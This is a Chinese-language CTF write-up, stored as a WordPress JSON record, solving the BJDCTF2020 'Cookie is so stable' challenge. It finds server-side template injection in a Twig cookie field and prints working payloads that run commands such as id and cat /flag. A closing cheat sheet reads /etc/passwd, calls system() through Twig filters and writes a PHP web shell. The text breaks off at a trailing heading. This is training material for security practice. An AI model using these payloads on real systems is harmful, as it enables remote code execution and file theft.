{"id":59087,"date":"2025-08-16T21:30:00","date_gmt":"2025-08-16T13:30:00","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/59087.html"},"modified":"2025-08-16T21:30:00","modified_gmt":"2025-08-16T13:30:00","slug":"bjdctf2020cookie-is-so-stable","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/59087.html","title":{"rendered":"[BJDCTF2020]Cookie is so stable"},"content":{"rendered":"

\u5f00\u7bc7\u770b\u5230 Flag \u70b9\u8fdb\u770b\u770b：<\/p>\n

\"\"<\/p>\n

falg\u8f93\u5165\u4ec0\u4e48\u5c31\u8fd4\u56de\u4ec0\u4e48<\/p>\n

\u518d\u770b\u770b\u6e90\u7801<\/p>\n

<!DOCTYPE html>
\n<html>
\n<head>
\n<title>
\nCookie_is_so_subtle!
\n<\/title>
\n<meta charset="utf-8" name="viewport" content="width=device-width, initial-scale=1.0">
\n<!– Bootstrap –>
\n<link href="bootstrap\/css\/bootstrap.min.css" rel="stylesheet" media="screen">
\n<link href="css\/shana_flag.css" rel="stylesheet" media="screen">
\n<script src="jquery\/jquery-3.3.1.min.js"><\/script>
\n<script src="bootstrap\/js\/bootstrap.min.js"><\/script><\/p>\n

<!– HTML5 Shim and Respond.js IE8 support of HTML5 elements and media
\n queries –>
\n <!– WARNING: Respond.js doesn't work if you view the page via file:\/\/
\n –>
\n <!–[if lt IE 9]>
\n <script src="http:\/\/labfile.oss.aliyuncs.com\/html5shiv\/3.7.0\/html5shiv.js">
\n <\/script>
\n <script src="http:\/\/labfile.oss.aliyuncs.com\/respond.js\/1.3.0\/respond.min.js">
\n <\/script>
\n <![endif]–>
\n <\/head><\/p>\n

<body><\/p>\n

<nav class="navbar navbar-default navbar-static-top nav1">
\n<div class="container-fluid">
\n<div class="navbar-header ul-head0">
\n <button class="navbar-toggle collapsed" data-target=".navbar-collapse" data-toggle="collapse" type="button">
\n <span class="icon-bar"><\/span>
\n <span class="icon-bar"><\/span>
\n <span class="icon-bar"><\/span>
\n <\/button>
\n <a href="index.php" class="navbar-brand">BJDCTF<\/a>
\n<\/div><\/p>\n

<div class="navbar-collapse collapse nav2" aria-expanded="false" style="height: 0px">
\n <ul class="nav navbar-nav ul-head1">
\n <li class=""><a href="flag.php">Flag<\/a><\/li>
\n <li class=""><a href="hint.php">Hint<\/a><\/li>
\n <\/ul><\/p>\n

<ul class="nav navbar-nav navbar-right ul-head2">
\n <li class=""><a href="index.php">@Shana<\/a><\/li>
\n <\/ul>
\n<\/div>
\n<\/div>
\n<\/nav><div class="container panel1">
\n<div class="row">
\n<div class="col-md-4">
\n<\/div>
\n<div class="col-md-4">
\n<div class="jumbotron pan"> <div class="form-group log">
\n<label><h2>Hello Aadmin<\/h2><\/label>
\n<\/div> <div class="row pt-3">
\n<div class="col-md-12">
\n <a href="logout.php"><button type="submit" form="form1" name="Logout" value="logout" class="btn btn-default float-right" >Logout<\/button><\/a>
\n <\/div>
\n <\/div><\/p>\n

<\/div>
\n<\/div>
\n<div class="col-md-4">
\n<\/div>
\n<\/div>
\n<\/div>
\n<\/body>
\n<\/html><\/p>\n

\u5728\u9875\u9762\u6e90\u4ee3\u7801\u4e2d\u53d1\u73b0\u63d0\u793a\u67e5\u770bcookies<\/p>\n

\u901a\u8fc7\u6293\u5305，\u53d1\u73b0cookie\u91cc\u9762\u51fa\u73b0user\u3002\u5c1d\u8bd5\u591a\u6b21\u540e，\u53d1\u73b0\u662fssti\u6ce8\u5165<\/p>\n

\u8f93\u5165user={{7*'7'}}\u6d4b\u8bd5\u4e00\u4e0b，\u786e\u5b9e\u5b58\u5728（\u6ce8\u610fcookie\u7684user\u524d\u9762\u7684\u8fde\u63a5\u662f;）<\/p>\n

\"\"<\/p>\n

\u540c\u65f6\u4e5f\u5224\u65ad\u4e86ssti\u6ce8\u5165\u7684\u7c7b\u578b<\/p>\n

\u8f93\u5165{{7*\u20187\u2019}}，\u8fd4\u56de49\u8868\u793a\u662f Twig \u6a21\u5757<\/p>\n

\u8f93\u5165{{7*\u20187\u2019}}，\u8fd4\u56de7777777\u8868\u793a\u662f Jinja2 \u6a21\u5757<\/p>\n

\"\"<\/p>\n

\u6a21\u677f\u6ce8\u5165\u662fTwig\u6ce8\u5165<\/p>\n

\u6240\u4ee5\u662f\u6709\u56fa\u5b9a\u7684payload<\/p>\n

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}<\/p>\n

\"\"<\/p>\n

\u83b7\u53d6 flag<\/p>\n

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat \/flag")}}<\/p>\n

\"\"<\/p>\n

twig\u5e38\u7528\u7684\u6ce8\u5165payload：<\/h5>\n

{{'\/etc\/passwd'|file_excerpt(1,30)}}
\n{{app.request.files.get(1).__construct('\/etc\/passwd','')}}
\n{{app.request.files.get(1).openFile.fread(99)}}
\n{{_self.env.registerUndefinedFilterCallback("exec")}}
\n{{_self.env.getFilter("whoami")}}
\n{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
\n{{["id"]|map("system")|join(",")
\n{{{"<?php phpinfo();":"\/var\/www\/html\/shell.php"}|map("file_put_contents")}}
\n{{["id",0]|sort("system")|join(",")}}
\n{{["id"]|filter("system")|join(",")}}
\n{{[0,0]|reduce("system","id")|join(",")}}
\n{{['cat \/etc\/passwd']|filter('system')}}<\/p>\n

\u5173\u952e\u6ce8\u610f\u4e8b\u9879<\/h3>\n